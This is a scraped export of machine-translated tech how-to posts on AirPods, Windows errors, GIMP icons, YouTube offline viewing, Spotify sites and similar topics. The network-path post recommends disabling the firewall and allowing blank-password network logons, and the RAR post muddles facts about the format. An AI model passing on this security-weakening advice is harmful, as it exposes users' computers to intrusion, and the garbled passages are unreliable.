update the software for your device first. If the update has already occurred and the problem persists, do the following:\nPut AirPods Pro on your ears and check if noise canceling is turned on. You can do this on a Mac by clicking the speaker icon in the menu bar, selecting AirPods Pro and pressing Noise Cancelellation . On iOS devices, press and hold the volume bar in Control Center , then select Noise Cancellation from the bottom of the screen.\u0026nbsp; Turn on noise cancellation mode from iPhone Cleaning the black net on AirPods Pro, this is the part that comes into direct contact with your ears. Dirt from the ear or the environment may reduce the noise cancellation feature on the product. The black net is in contact with the ears Contact Apple Support. If you've tried the above and the noise cancellation mode still doesn't work, there's a good chance your AirPods Pro is in trouble. And in this case, only Apple will solve it for you. ncG1vNJzZmismaXArq3KnmWcp51kxKmt02arqGWUpHqqsoytn55lnqS2tLGMnJinm5Whtq%2BzjKamnZ1dpLNurcirp6ico2K9s7uMoqpmpp%2Bperi70aSgp59dpb%2BwvMSro7I%3D\n","link":"/post/what-to-do-if-the-noise-canceling-mode-of-airpods-pro-is-not-working-properly/","section":"post","tags":null,"title":"What to do if the noise canceling mode of AirPods Pro is not working properly?"},{"body":"The network path was not found error (error 0x80070035) appears when you are using another\u0026nbsp; computer \u0026nbsp;on the same LAN. So how to fix this, let's find out!\nThe first way you can immediately think of is to turn off the firewall on your computer,\u0026nbsp; laptop \u0026nbsp;. A firewall is a network security system that monitors and controls the incoming and outgoing network traffic. So it's possible that the firewall is blocking your access and you can simply turn it off.\nYou can also perform the steps to enable NetBIOS by TCP / IP to fix this through the following steps:\nPress Windows + R key combination\u0026nbsp; \u0026nbsp;\u0026gt; Enter\u0026nbsp; \"ncpa.cpl\" \u0026nbsp;\u0026gt; Select\u0026nbsp; OK .\n  In the Network Connections window\u0026nbsp; , right-click on the\u0026nbsp; network you are using \u0026nbsp;\u0026gt; Select\u0026nbsp; Properties .\n  Double-click the line of\u0026nbsp; Internet Protocol Version 4 (TCP / IPv4) \u0026nbsp;\u0026gt; Select\u0026nbsp; Advanced .\n  In the Advanced TCP / IP Settings window\u0026nbsp; , select\u0026nbsp; WINS \u0026nbsp;\u0026gt; Select\u0026nbsp; Enable NetBIOS over TCP / IP \u0026nbsp;\u0026gt; Select\u0026nbsp; OK .\n  Or you can choose how to enable TCP / IP NetBios Helper to fix the error.\nPress Windows + R key combination\u0026nbsp; \u0026nbsp;\u0026gt; Enter\u0026nbsp; \"services.msc\" \u0026nbsp;\u0026gt; Select\u0026nbsp; OK .\n  Right-click at\u0026nbsp; TCP / IP NetBios Helper \u0026nbsp;\u0026gt; Select\u0026nbsp; Properties .\n  Select\u0026nbsp; Automatic \u0026nbsp;at\u0026nbsp; Startup type \u0026nbsp;\u0026gt; Select\u0026nbsp; Start \u0026nbsp;\u0026gt; Select\u0026nbsp; OK .\n  You can also use the following:\nPress Windows + R key combination\u0026nbsp; \u0026nbsp;\u0026gt; Enter\u0026nbsp; \"gpedit.msc\" \u0026nbsp;\u0026gt; Select\u0026nbsp; OK .\n  Select\u0026nbsp; Computer Configuration \u0026nbsp;\u0026gt; Select\u0026nbsp; Windows Settings \u0026nbsp;\u0026gt; Select \u0026nbsp;Sercurity Settings \u0026nbsp;\u0026gt; Select\u0026nbsp; Local Policies \u0026nbsp;\u0026gt; Select \u0026nbsp;Security Options.\n  \nDouble click at\u0026nbsp; Account: Limit local acc use of blank password to console logon only \u0026nbsp;\u0026gt; Select \u0026nbsp;Disable \u0026nbsp;to disable Policy\u0026gt; Select\u0026nbsp; OK .\n  Double click at \u0026nbsp;Network access: Sharing and security model for local account\u0026nbsp; \u0026gt; Select\u0026nbsp; Classic - local users authenicate as themselves\u0026nbsp; \u0026gt; Select \u0026nbsp;OK.\n  Then, restart your computer to check if the error has been fixed.\nYou can update the network driver to fix this error.\nPress Windows + R key combination\u0026nbsp; \u0026nbsp;\u0026gt; Enter \u0026nbsp;\"devmgmt.msc\" \u0026nbsp;\u0026gt; Select\u0026nbsp; OK .\n  Choose\u0026nbsp; Network adapters \u0026nbsp;\u0026gt; Select\u0026nbsp; Update driver \u0026nbsp;for each item.\n  Above is the article about 5 ways to fix The network path was not found (Error code: 0x80070035). Thank you for watching and please look forward to the next article!\nncG1vNJzZmismaXArq3KnmWcp51kgm7DwLKqZqyfYrOqxIytn55lnprBuLvRpGSpmaSderit0malqKxdm7y2usNmnKuqn6d6pLvDnmRpsGhlfXh8j2xs\n","link":"/post/5-ways-to-fix-the-network-path-was-not-found-error-code-0x80070035/","section":"post","tags":null,"title":"5 ways to fix The network path was not found (Error code: 0x80070035)"},{"body":"At ESET Bratislava, the defense leaders proactively resisted the threat of computer information systems, announced the launch of leading products ESET Smart Security 5 and ESET NOD32 Antivirus 5.\n  ESET's products for the latest generation home users provide even more advanced detection technology and multi-layer security features. ESET has pioneered a security solution against malware since 1992 and has been awarded with the highest consecutive number of Virus Bulletin VB100 awards.\n  \"Even before its release, the test version of the fifth generation of our top security solution has been downloaded over 4 million times. After thorough testing and development months, they are I am proud to introduce our customers to the brand-new ESET NOD32 Antivirus 5 and ESET Smart Security 5, \" said Richard Marko, CEO, ESET. \" With new technology, we have integrated products such as ESET Live Grid, Advanced HIPS, providing a more comprehensive protection than ever. Talking about ESET, we always try to provide products. Advanced technology products using the latest innovations. At this time we are also working to develop our next generation security solutions \"\nESET Smart Security 5 and ESET NOD32 Antivirus 5 provide many new features and improved features. The top five features are: ESET Live Grid: Cloud computing based on reputation and protection technology. Removable Media Control: More detailed control of external mounting devices. Parental Control (only available on ESET Smart Security 5): Network access control for children of parents. Advanced HIPS: Advanced Host-based intrusion prevention system. Gamer mode: The mode of silent operation when playing games. There has been revolutionary change in what is called ThreatSense.Net - the ESET cloud-based malware recording system that uses data from user solutions around the world. This technology is called ESET Live Grid and provides optimized scanning based on \" safe \" white lists of files. Cloud-based reputation is a method used by the latest generation of ESET products to determine whether a specific object is safe or not. The result is increased accuracy in detecting threats along with increased scan speed.\nConsidering ESET's monthly threat statistics after a month, the used multimedia mobile storage device has increased the spread of viruses and malware. When plugged in, a USB storage device can transfer a hidden virus, affecting the computer without the need for internet access. The Removable Media Control function automatically prompts users to scan the content of all flash drives (USB, SD), firewire, CD and DVD, so that specific threats can be blocked from trying to Get through the system through the media device. Users can block or allow mobile media to operate on computers, based on device type, size, manufacturer and other attributes. In addition, the terms can be set to block, read only or read and write. They can be set up for a specific user or group of users. Users can decide to prevent access and set up a \" allowed \" white list.\nParental Control allows setting up blocking websites that may contain potentially attackable material with certain types of websites. Users can set up a \" role \" for each user account, each with its own set of default site types that are allowed or disabled while browsing.\nThe Host Intrusion Prevention System (HIPS) provides a layer of security and allows users to be technologically savvy to customize the behavior of the entire system and each part. Users can define rules or system registry, processes, applications and files.\nGamers will appreciate the Gamer Mode which automatically switches to silent mode and disables pop ups to conserve system resources and enhance the gaming experience. This leads to uninterrupted play or focusing on the task running in full screen mode. \"highly effective and does not affect the quality of the game: there are two main problems in the choice of AV software - that explains why I trust ESET ,\" Marcel \"k1llsen,\" Paul said.\nESET customers will benefit from improved usability and graphical user interface for a new, more intuitive, transparent and easy to navigate user experience.\nInterested readers can download ESET Smart Security 5 here and ESET NOD32 Antivirus 5 here .\nSee more details about the benefits and features of ESET Smart Security 5 here and ESET NOD32 Antivirus 5 here.\nncG1vNJzZmismaXArq3KnmWcp51ksrSx02ajmq2emLWmsIynpp1rYmKur8DIr6CrraNigm6tzZ1krKWRp8Fuv8ScrKuhpK56dg%3D%3D\n","link":"/post/eset-launched-nod32-antivirus-5-and-smart-security-5/","section":"post","tags":null,"title":"ESET launched NOD32 Antivirus 5 and Smart Security 5"},{"body":"Google has just added a new feature to the search engine. This feature allows users to block all links from specific domains in their search results.\n  Illustrative photos . (Internet source)\nFor example, after a user clicks on a link in the search results and returns to the Google search engine, the user will see the link below the search results section and not appear in the links. Search results later.\nGoogle said, ' we added this feature because we believe it will provide you with control over search results, giving users a more interesting and personal search experience on Google .' This feature will allow users to create personalized search lists.\nAccording to Google, this feature can be used by anyone, but Google will only be able to store locked domains for users that they log into their Google accounts and confirm that job.\nWhen a user types a query on a Google search engine, the search results will contain domains that the user has locked. Google will display a warning that a large number of soft names have been hidden and require an option to display them.\nUsers also have the opportunity to review and manage the list of domains they have locked. In addition, Google is also considering\nGoogle is also considering to further improve the search results ranking process for more convenient users with the domain name lock feature above. Initially, this feature will only be applied on browsers such as Chrome version 9 or higher, IE from version 8 and above, Firefox 3.5 and higher. In addition, Google will continue to expand this feature to be applicable to many other browsers.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZpmcoby4v4ylppyjmaO0brDOppiipl2jrq6x0magp2Wjmq6zr8dmqZ6rpaHBtA%3D%3D\n","link":"/post/google-allows-locking-domain-names-in-search-results/","section":"post","tags":null,"title":"Google allows locking domain names in search results"},{"body":"The image of snowfall on Christmas night is a familiar image for temperate countries but for tropical countries like Vietnam, it is too luxurious. However, you can still \"witness\" the snowfall right on your computer screen with our instructions below.\nFirst, download and install the Sqirlz Water Reflections application on your computer.\nStep 1 : Open the application, click the File menu, select Open or press Ctrl + O to select the image to create the effect\n  Step 2 : Click Start creating Outline , then use the left mouse button to drag the area on the image you want to create the snow effect, by clicking on each point to circle it into a closed area. After completing the roadblock, right-click on any location on the image to finish.\n  Step 3 : Next, click Customize Rain / Snow\n  Step 4 : When the new dialog box appears, check the Snow and Within Outline Only options and set the options below.\n  Alternatively, you can click the yellow arrow next to Run Rain / Snow only to preview the effect.\nStep 5 : Go back to the main interface of the software, click on the gif icon on the software menu to save the image as an animation file (or avi button to save it as a video file and a yellow icon to save the file. Flash).\n  Step 6 : Finally, in the Frame rate dialog box that appears later, allowing you to select the frame to use on the animation file, the more frames are used (up to 100), the smoother the animation will be, but it means the file size will be larger. However, you only need to set the Frame rate from 15-20 to enough.\n    Now, you have a winter image with a beautiful and vivid snowfall effect that can be used as a gift for your family or loved ones. In addition, you can make ripples on the lake surface or water drop effect on the surface of the lake . in the same way as above.\n14 simple steps to create a snow effect for the photo How to create snowflakes in Photoshop Tutorial to create a sparkling snow effect using Photoshop Brush I wish you a good working week!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2mnqtdmLWztdKtpJqrXai7sMPMmqVmmZ6euqLAyKilZp2Wm7KkwA%3D%3D\n","link":"/post/how-does-christmas-snowman-animation-effect/","section":"post","tags":null,"title":"How does Christmas snowman animation effect?"},{"body":"RAR (.rar) is a file archive format commonly utilized for file compression. The subsequent reduction in size following RAR compression significantly reduces the amount of time required to transfer files over the Internet. As a result, the...\nMethod 1of 4:\nUse WinRar to Combine RAR Files  Purchase WinRar or download the trial version. To open .rar files, you will need to have a compatible application installed. Because the .rar archive file format is proprietary, there are few applications available which can execute or play RAR files. Purchase a copy of WinRar or download a free trial of the software from RARLAB's website. WinRar is an application offered by the developer of the .rar format.   Execute a file with the .rar extension with WinRar. Once WinRar is installed on your system you will be able to play or execute a .rar file by clicking on the file. The WinRar application will automatically unpack and reassemble the file for execution or playback.\n Method 2of 4:\nUse a Third Party Application to Combine RAR Files  Download a third party file compression program that can handle files with the .rar extension. It is not possible to create a RAR archive with any other product but WinRar, due to the proprietary nature of the .rar format. However some third party programs can unpack and execute RAR files. Perform an Internet search for \"open RAR file\" to produce a small list of freeware applications capable of handling RAR files.   Set a file association for .rar files in the downloaded application. To set the file association, select \"Settings,\" then \"File Associations,\" and check the box labeled \".rar.\" Double click the file, or right click the file and select \"Open.\" The downloaded application will automatically unpack, reassemble and play the file.\n Method 3of 4:\nUse RAR for Mac OS to Combine RAR Files  Open or play RAR files with Mac. Like PC users, Mac users will find that there are few options available for handling the .rar file format. RARLAB's solution for Mac, \"RAR for Mac OS,\" is available for purchase from the developer. Consumers also may download a trial version of \"RAR for MAC OS\" from the RARLAB website.\n  Set a file association for .rar files in the \"RAR for MAC OS.\" To set the file association, select \"Settings,\" then \"File Associations,\" and select the box labeled \".rar.\" Double click the file to open it. \"RAR for MAC OS\" will automatically unpack, reassemble and play the file.\n Method 4of 4:\nUse a Third Party Application for Unpacking RAR files in Mac  Install a third party file compression program capable of opening files with the .rar file extension. As with PC, there are few freeware applications capable of handling RAR files, and the functionality of these products is limited. Perform an internet search using \"open RAR with Mac\" to produce a small list of freeware applications capable of handling RAR files.\n  Set a file association for .rar files in the downloaded application. To set the file association, select \"Settings,\" then \"File Associations,\" and put a check in the box labeled \".rar.\" Right click the file and select \"Open.\" The downloaded application will automatically unpack, reassemble and play the file.\n  Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufoq%2BqusRmqZqqXZu2rbHS\n","link":"/post/how-to-combine-rar-files/","section":"post","tags":null,"title":"How to Combine RAR Files"},{"body":" Decide what kind of base you want to build. Here we have 3 main types of bases: Plow Hoe, Trophy and Mixed.\nThe Plow Hoe Base is the type of base that operates mainly in the process of plowing and hoeing. The main idea of ​​this base is to keep the main house outside the city wall. You may lose some trophies. Don't worry, because you'll be rewarded with a 12-hour shield, and during that time no one can attack your village! You also usually keep your archives and possibly things you collect inside the city walls.\nThe Trophy Base is the type of base where you will place the main house inside the base, and trophies are what matters most to you. This base is the opposite of the Cay Hoe base. You run the risk of losing resources.\nA Mixed Base is a base type that allows for a balanced defense of your trophies and resources.\n Decide on the layout of your base. There are some common designs such as:\nAn eggshell base is a base surrounded by walls. For example, a core is surrounded by walls, with an outer layer of walls surrounding less important structures.\nThe compartment base is where all the most important buildings have their own compartment, and the less important structures are outside the base. They may leave some extra wall pieces.\nThe bulkhead base works like the Titanic. Its main idea is that there will be multiple compartments, so if your enemy \"floods\" a chunk, the others will support it. It is a kind of mixture between eggshell base and compartment base.\nOptional compartment bases are bases where your compartments hold 2-3 buildings instead of each compartment containing only one building.\n Build damage-dealing structures near the center. There are some of the most important structures that should be built near the center of your base. The mortar is especially important because of its long range and weakness. Mage towers are a bit more comfortable, as they have a smaller range and no weak points.\n Gather all the buildings in your \"regular\" category, including the bow and cannon towers. It's best to make sure they can support each other. This way, if one tower is under attack, the other towers will destroy the attackers. Also in this category are anti-aircraft buildings. You need to gather these, because if they are destroyed, your base will become vulnerable to dragons and the like.\n Set traps according to your intuition. Traps are the most versatile building type in the game. They can be used for a number of techniques, including \"chimneys\" and \"troll sieges\" (see method three). Basically, have fun with them. If you want to create a troll base, make one. Just do what you want.\n Use \"dual wall\". This is where you place a wall layer, then an empty space, and then another wall layer. This way archers can't shoot through walls.\n Build a \"troll base\". This is where you place a \"accidental\" hole in the middle of your base and fill it with traps. You will also surround it with good defensive structures so that inexperienced players will have to send large numbers of troops and get blown up.\n Use the \"chimney\". You will create a \"random\" hole in the wall, then minions will go inside and be blown into the sky by the traps you set.\n Use wall-breaking sniper traps. You will build a wall with a hole in it and place a spring trap in that hole. Thus, the wall breakers will be shot into the sky without breaking your wall.\nClash of Clans ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapWadlpuypMDIr5xmmpGosm61zWaapZmjnXqwsoyco5qmow%3D%3D\n","link":"/post/how-to-create-an-effective-base-in-clash-of-clans/","section":"post","tags":null,"title":"How to Create an Effective Base in Clash of Clans"},{"body":"Do you want to spruce up your desktop? Custom icons can go a long way towards making your computer feel like 'yours'. With the help of free image editing software like GIMP, you can quickly turn any image you want into a beautiful,...\nPart 1of 2:\nPreparing the Image  Obtain or create your base image. You can use any image file to create an icon, but it should be at least 256 X 256 px large. This will allow it to scale well between all the different icon sizes. It doesn't matter if the image contains things you don't want to include in the final icon; you will be deleting everything you don't want to keep. Keep in mind that icons are square, so your image should fit well into a square. If it is too long, the icon will likely look squished. If you are creating Mac OS X icons, they can be 512 X 512 px in size. You can create your own images from scratch using your favorite drawing software or you can use any photo, drawing, or other image file.   Install an image editing program. In order to create an icon file, you will need a slightly more powerful program than Paint. You can use Photoshop, but free image editors such as GIMP and Pixlr will work perfectly well. This guide uses GIMP, as it is a free program available on all operating systems. The process is very similar in Photoshop and Pixlr.   Open your image in your editor. Open the downloaded or created image using GIMP. The image will appear in a window in the middle of your screen.\n  Add an alpha channel. The alpha channel is a layer of transparency. This will allow the icon to have a transparent background when you erase the parts of the image you don't want. To add an alpha channel, right-click on the layer in the Layers window on the right side of the screen. Select \"Add Alpha Channel\".\n  Insert a Quick Mask. The Quick Mask will allow you to easily get rid of the parts of the image you don't want to keep. To insert the Quick Mask, press ⇧ Shift+Q. A red layer will appear over the image.\n  Erase the mask over the part you want to keep. Select the Eraser tool from the Toolbox window on the left side of the screen. Use the tool to erase the red layer over the part of the image you want to keep. For example, if you have an image of a phone lying on a table and want to use the phone as the icon, erase the red layer from the phone only. Use the Tool Options tab in the Toolbox window to adjust your eraser size. You can also zoom in to ensure that you erase exactly what you want. When you erase the mask, you will only be removing the mask, not the image beneath it.   Toggle the mask. Once you are finished clearing the mask off of the part you want to keep, press ⇧ Shift+Q again to remove the mask. The part of the image that you erased will be selected.\n  Delete the background. Press Ctrl+I or click Select → Invert. This will select everything in the image except the part you erased the mask off of. Press Del to delete the selection, leaving just the subject of your icon.\n Part 2of 2:\nCreating the Icon  Change the canvas size. Click Image → Canvas Size. In the window that appears, click the chain icon to unlink the width and the height. Change the canvas size to a size that shows the subject well, and ensure that both width and height are set to the same number. Use the Offset values to center the image in your new canvas before clicking the Resize button. Once you've resized the image, right-click on the layer and select \"Layer to Image Size\". This will change the layer boundary to match the canvas size.   Adjust the color. If you want, you can use GIMP's color tools to change the coloration of the image. The easiest way to do this is to click Color → Colorize and then play with the settings until you find the color you feel looks best.\n  Create the different icon sizes. The final step in creating an icon is ensuring that the image supports all the different icon sizes. This is essential if you want to be able to use the icon in different areas of the operating system and want them to scale when icon size is increased or decreased. Copy the layer. Click the Layer in the Layers window and press Ctrl+C. Scale the original layer. Open the Scale tool by pressing ⇧ Shift+T and change the image scale to 256 X 256 px. Click Image → Fit Canvas to Layers. (Note: if you are creating the icon set for OS X, start with a 512 X 512) Create the first copy. Press Ctrl+V to paste the layer. Click Layer → To New Layer. Open the Scale tool and change the size to 128 X 128. Create the second copy. Press Ctrl+V to paste the layer. Click Layer → To New Layer. Open the Scale tool and change the size to 48 X 48. Create the third copy. Press Ctrl+V to paste the layer. Click Layer → To New Layer. Open the Scale tool and change the size to 32 X 32. Create the fourth copy. Press Ctrl+V to paste the layer. Click Layer → To New Layer. Open the Scale tool and change the size to 16 X 16.   Examine your layers. You should have 5 layers, each one with an image smaller than the last. If any of them look blurry, open the Sharpening Tool by clicking Filters → Enhance → Sharpen. Adjust the slider until the image is clearer.\n  Save the image as an icon. Click File → Export. In the Export Image window, change the extension in the top field to \".ico\" and choose a location to save the icon. A window will appear, asking if you want to compress any of the layers. Check the box to compress the two biggest layers, unless you are using Windows XP.[1]\n  Use the icon. Once you've exported the image into .ico format, you can use it to replace the icon for any file or folder you'd like. See this guide for changing the icons on your Windows computer. See this guide for changing the icons on your Mac OS X computer. You will need to use a free online converter to change the ICO file to an ICNS file (Mac's icon file format).   Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyimqimow%3D%3D\n","link":"/post/how-to-create-icons/","section":"post","tags":null,"title":"How to Create Icons"},{"body":"This article explains how to customize the functions that are assigned to AirPods Pro gestures. Remember that iOS devices need to be running iOS 13.2 to support ‌AirPods Pro‌. You can check if your device is up to date by launching the Settings app and going to General\u0026gt; Software Update .\nApple's ‌AirPods Pro‌ wireless headphones feature a new, improved force sensor on each side of the headset, responding to gestures that users can use to play / pause and skip tracks, reply and hang up, as well as switch between Active Noise Cancellation and Transparency modes.\nBy default, you can press and hold the AirPods Pro body to alternate between Active Noise Cancellation and Transparency modes (you'll hear a sound when switching between these two functions). You can also customize the press and hold gestures by accessing the menus on the screen of the connected iOS device. Here's how to customize the load cell gesture on AirPods Pro.\n1. Allow AirPods to connect to iPhone or iPad in the normal way, by opening the cover on the side of the device and inserting headphones into the ear.\n2. Launch the Settings application on the iOS device.\n3. Click Bluetooth.\n4. In \"My Devices\" , click the information icon (the \"i\" circled) next to irAirPods Pro‌ in the list.\n5. In \"Press and Hold irAirPods‌\" , press Left or Right (depending on which headset you want to customize).\n6. To activate Siri using the long-press gesture, press ‌Siri‌.\n7. To change the Noise Control features that are activated via a press and hold gesture, press Noise Control to tick it, then click on the functions below that you want to assign: Options include Noise Cancellation, Transparency and Off (this option disables both Noise Cancellation and Transparency modes).\nNote that you can assign more than one Noise Control feature to the push and hold gesture on one side of the headset. Pressing and holding on the clone of the headset will help to switch between selected modes.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqMGwuciznGaen6ewpnnSnqWsp6JitKa%2F066pnqtdpLturcirp6ico2K9s7s%3D\n","link":"/post/how-to-customize-force-sensor-gestures-on-airpods-pro/","section":"post","tags":null,"title":"How to customize force sensor gestures on AirPods Pro"},{"body":"The Windows 10 version offers many login options as well as computer security such as creating a password, using fingerprints, using face scans, or setting a PIN code. The use of the system security PIN has been chosen by many people, due to quick access to certain systems or applications but still ensuring the computer's full annuity.\nAnd by default, the PIN code length will be between 4 and 10 characters, a minimum of 4 characters and a maximum of 10 characters. However, if you want to increase the length of the PIN code or want to reduce the Windows 10 PIN code, we can adjust the device's system, according to the article below.\nStep 1:\nWe press the Windows + R key combination to open the Run dialog box . Enter the keyword gpedit.msc and click OK to access.\n  Step 2:\nIn the Local Group Policy Editor window, the user performs a search according to the directory path below.\nComputer Configuration\u0026gt; Administrative Templates\u0026gt; Windows Components\u0026gt; Windows Hello for Business\u0026gt; PIN Complexity. When looking at the content on the right, you will find the options for PIN increase and decrease, including:\nRequire digits: requires numeric characters in pin code. Require lowercase letters: mandatory lowercase letters in pin code. Maximum PIN length: maximum length of PIN characters. Minimum PIN length: Minimum length of PIN characters. Expiration: the validity period of the PIN. History: does not allow the use of PINs previously used. Require special characters: special characters required. We can proceed to increase or decrease the length of PIN characters, with a minimum (Minimum) of 4 characters and a maximum (Maximum) of 127. Double click the Maximium PIN length or Minium PIN length option to customize Windows 10 PIN, depending on user needs.\n  Step 3:\nFor example, here I will adjust the shortness of Windows 10 PIN, so I will check the Minium PIN length .\nThe editing interface appears, check the box Enable to enable this feature. Under the Options section, the Minimum PIN length section enter the number of characters you want to limit and then click OK to finish.\n  We also do the same with Maximium PIN length .\n  Note to readers , you cannot customize the PIN with the minimum length of PIN equal to or greater than the maximum length of the PIN, or the maximum length of the PIN is less than or equal to the minimum length. If the maximum length of PIN is set to 15, only a minimum length of 6 to 14 characters can be set.\nStep 4:\nFinally, press the Windows + I key combination to open the Windows Settings interface and set up the PIN for the system in the Accounts settings and Sign-in options section .\n  So with the above method we can proceed to customize the PIN code on Windows 10, adjust the short-term level for the PIN code. Setting up PIN on the system is a simple security method, but it has high security efficiency and is used by many people. Besides, we can also set automatic cancel PIN on Windows 10 after using time.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqMGwuciznGasmJp6uLXNnaawq11mfW68yKdknKeUmnqttcyiqw%3D%3D\n","link":"/post/how-to-customize-the-windows-10-pin-code-limit/","section":"post","tags":null,"title":"How to customize the Windows 10 PIN code limit"},{"body":"Downloading Youtube videos is no longer a difficult and complicated issue as you already have a lot of tools to support downloading YouTube videos. Not only are video downloading software available, but free online services are also available for users to choose from.\nHowever, if you do not want to download Youtube videos to your device, limit the amount of space on your phone, you can download Youtube videos offline. Currently offline Youtube video download feature has been updated on Android and iOS versions. Users will not need to use additional applications, or support services, but can download YouTube videos right from the application. When you want to watch the video again, just open the offline video collection on Youtube app. If you don't know how to download Youtube videos offline, follow the article below.\nInstructions for downloading YouTube videos, mp3 music YouTube does not use software Upload videos to YouTube, how to upload videos to YouTube from the fastest computer Rip music from YouTube videos, download MP3 without using software 1. How to download offline videos on Youtube Android Download Youtube for Android Download iOS YouTube videos Step 1:\nOpen the YouTube application on the device and find the video you want to save offline offline.\n   Step 2:\nAt the video playback interface click on the Save icon as shown below. Soon you will receive a notification at the bottom of the screen Saving videos offline. We wait for the video download process to succeed, when we see the sign that it is complete.\nNote to users , not all videos allow you to download and watch in offline mode due to YouTube video copyright issues.\n    Step 3:\nThen click the avatar icon outside the YouTube Home page and select Settings . In the Content drop-down menu below and find the Offline section here, turn the horizontal bar to the right in Offline mode to activate it on YouTube if you need to use it.\n   Step 4:\nContinue to click the Offline video quality to choose the quality each time you download the video. Users can select video saving qualities including 720p, 480P and 360p. By default, Youtube will be in 720P mode every time the video is downloaded offline.\nOr you can press Ask each time to choose different quality for offline video.\nBy default Youtube will only save videos to offline mode when connected to WiFi.\n   Step 5:\nYou now disconnect the WiFi to try watching offline Youtube videos. Click the Library item at the bottom of the screen and you will see the Video album offline. We just need to click on the video to see it.\nIn the offline Youtube video playback interface, if you want to remove the video from the Offline Video list, click the Save icon to see . Then we will be asked if you want to remove this video from the offline video list. Click Delete to agree.\n    2. How to download offline Youtube videos on iPhone: Step 1:\nNext, log into your YouTube account on the device. Click the Search magnifying glass icon on the screen.\n   Step 2:\nIn the search bar, we enter the name of the video search and the song appears on YouTube's list.\n   Step 3:\nYou open the song you want to see on Youtube application. At the main interface, click the arrow icon to download the Youtube video offline.\n   A video message has been downloaded offline . You wait for the process of downloading videos on Youtube. It then appeared that the video was successfully downloaded in offline mode.\n   Step 4:\nGo back to the main interface of the application , click on the humanoid icon to enter your personal account. At the personal account interface, click the Offline videos item.\n   Step 5:\nWe will see the downloaded video above appear in offline view . You just need to click on the video to see it is done.\n   So you can watch YouTube videos without having to download videos to your phone, and you don't need Wi-Fi or mobile data. The video will be saved on YouTube application in the offline Video album. And users just need to open the Youtube application to watch the video.\nSee more:\nCollection of free music sources to make YouTube videos How to enable limited video mode on Youtube 2 ways YouTube video replay automatically I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZLKnpanCo7GMr6CdnZ%2BoerCyxaWgp51drK61r8dmsKitpKqvpnnVopuep6NivKeyy6Klng%3D%3D\n","link":"/post/how-to-download-youtube-videos-offline-watch-youtube-videos-offline/","section":"post","tags":null,"title":"How to download Youtube videos offline, watch Youtube videos offline"},{"body":"If your screen is a bit small or you want to read the newspaper on a larger screen or want to remove the tool buttons for presentations, then turning on Full Screen mode in the browser is very useful.\n1. Turn on / off Full Screen mode on Google Chrome browser - Method 1: To turn on full screen browsing mode, you only need to press the F11 function key on the keyboard, if you want to turn off full screen mode, you only need to press the F11 key again.\n- Method 2: Access the browser, click the browser's option icon on the right corner of the screen -\u0026gt; click the Full Screen icon :\n  2. Turn on / off Full Screen mode in Firefox - Method 1: Similar to Google Chorme browser, with Firefox you press the F11 key to view full screen mode when browsing.\n- Method 2: Access the browser, click the browser's option icon on the right corner of the screen -\u0026gt; click the Full Screen icon :\n  3. Turn on / off Full Screen mode in Edge browser Edge is the new browser used on Windows 10 operating system. To use full screen mode on this browser is similar to the current commonly used browsers:\n- Method 1: Press the F11 key to view full screen mode when browsing.\n- Method 2: Access the browser, click the browser's option icon on the right corner of the screen -\u0026gt; click the Full Screen icon :\n  Above is a detailed guide How to enable / disable Full Screen mode on Google Chrome, Firefox, Edge. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyapZ1llJ7Aoq7LnmSfrZyherSv0Z6cp2WdpLGmec6nZKCnn5y5pnnCoamopZVis6q%2BxJ%2BmsWWVmbSm\n","link":"/post/how-to-enable-and-disable-full-screen-mode-on-google-chrome-firefox-edge/","section":"post","tags":null,"title":"How to enable and disable Full Screen mode on Google Chrome, Firefox, Edge"},{"body":"Spotify brings rich music users, enabling us to search for whatever genre we like, or from any of the authors in the world. And the use of Spotify will be even more interesting, when we combine it with the websites in the article below. These services will help you add new features, or exploit with available features. Let's find out about those sites in the article below with Network Administrator.\nHow to register for a Spotify account to listen to music online Summary of shortcuts to use Spotify on PC Instructions for signing up for Spotify Premium 30 days without a credit card Instructions for increasing the Spotify experience 1. Spot On Track\nhttps://www.spotontrack.com/ If you are interested in music rankings not only in Vietnam but also around the world, Spot On Track will be the website that gives you all the information you need.\nTo use Spot On Track, you need to log in with the information requested by the service.\n  In the Spot On Track interface, there will be many different charts for users to find the information they need.\nAt the table Daily Charts rankings of the day. Service will default to Global Global rankings. Or you can change the country that the service supports to see the rankings.\n  Click on Weekly Charts , we'll know the chart for the week. Users can search ranking information by countries, or by time.\n  2. Playlist Miner\nhttp://playlistminer.playlistmachinery.com/index.html The Miner Playlist will create song lists by summarizing high-ranking songs in Spotify's list of search topics. We just need to enter keywords in any topic and the service will automatically search for songs by that topic.\nFirst, click Log in with Spotify to log in.\n  On the homepage of the Miner Playlist, enter the keyword for the playlist you want to create and click Find Playlists .\n  The service will then list playlists with imported topics, click to open the playlist in the Spotify application. Also in this interface when clicking Find Top Tracks, the site will proceed to search for outstanding songs with the same topic content.\nWhen the playlist is played on Spotify, we click Save Playlists to Spotify to save.\n  3. Magic Playlist\nhttps://magicplaylist.co/ This service will create playlists from the songs you search for. We can customize, arrange, . songs before saving the playlist to the account.\nEnter the title of the song in the Type a song title box and click on the suggestion list.\n  Soon a list of songs will appear based on the song you entered. Here, users can click to listen to the songs, then select which songs to list, click the trash can icon to delete. Hover over the 3 dash sign icon to change the position of the song.\n  Continue to enter the title for the list in Title, display mode and click Save on Spotify to save this playlist to Spotify account.\n  4. Boil the Frog\nhttp://static.echonest.com/BoilTheFrog/ Boil the Frog created a playlist based on the similarities of the two artists. We just need to enter the names of the two artists and then press Boil the frog to let the website search for the same songs between the two artists.\n  Soon we will get the result that the song or album is the same style. Can press the listen or press New Track to select another song before pressing Save this playlist .\n  The above sites mostly help you search for playlists, or create playlists on Spotify according to the needs of users, with different ways. You can easily search, customize playlists or find more information for your favorite songs on Spotify.\nSee more:\nHow to turn on lyrics on Spotify How to create free account in iTunes Store Instructions for installing Spotify on 